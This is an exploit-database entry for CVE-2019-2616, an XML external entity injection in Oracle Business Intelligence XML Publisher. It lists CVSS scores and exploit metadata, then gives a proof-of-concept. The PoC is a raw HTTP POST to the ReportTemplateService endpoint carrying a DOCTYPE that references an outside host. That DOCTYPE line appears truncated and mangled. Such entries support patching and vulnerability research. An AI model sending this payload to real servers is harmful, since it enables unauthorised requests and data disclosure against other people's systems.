Oracle Business Intelligence XML Publisher 11.1.1.9.0 12.2.1.3.0 12.2.1.4.0 - XML External Entity Injection

2019-04-1900:00:00

Vahagn Vardanyan

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

JSON

Oracle Business Intelligence XML Publisher 11.1.1.9.0 12.2.1.3.0 12.2.1.4.0 - XML External Entity Injection

# Exploit Title: XXE in Oracle Business Intelligence and XML Publisher
# Date: 16.04.19
# Exploit Author: @vah_13
# Vendor Homepage: http://oracle.com
# Software Link:
https://www.oracle.com/technetwork/middleware/bi-enterprise-edition/downloads/index.html
# Version: 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0
# Tested on: Windows
# CVE : CVE-2019-2616 (7.2/10)

PoC:

POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101
Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 76
Content-Type: text/xml; charset=UTF-8

<!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://IP/123 <http://ehost/123>
">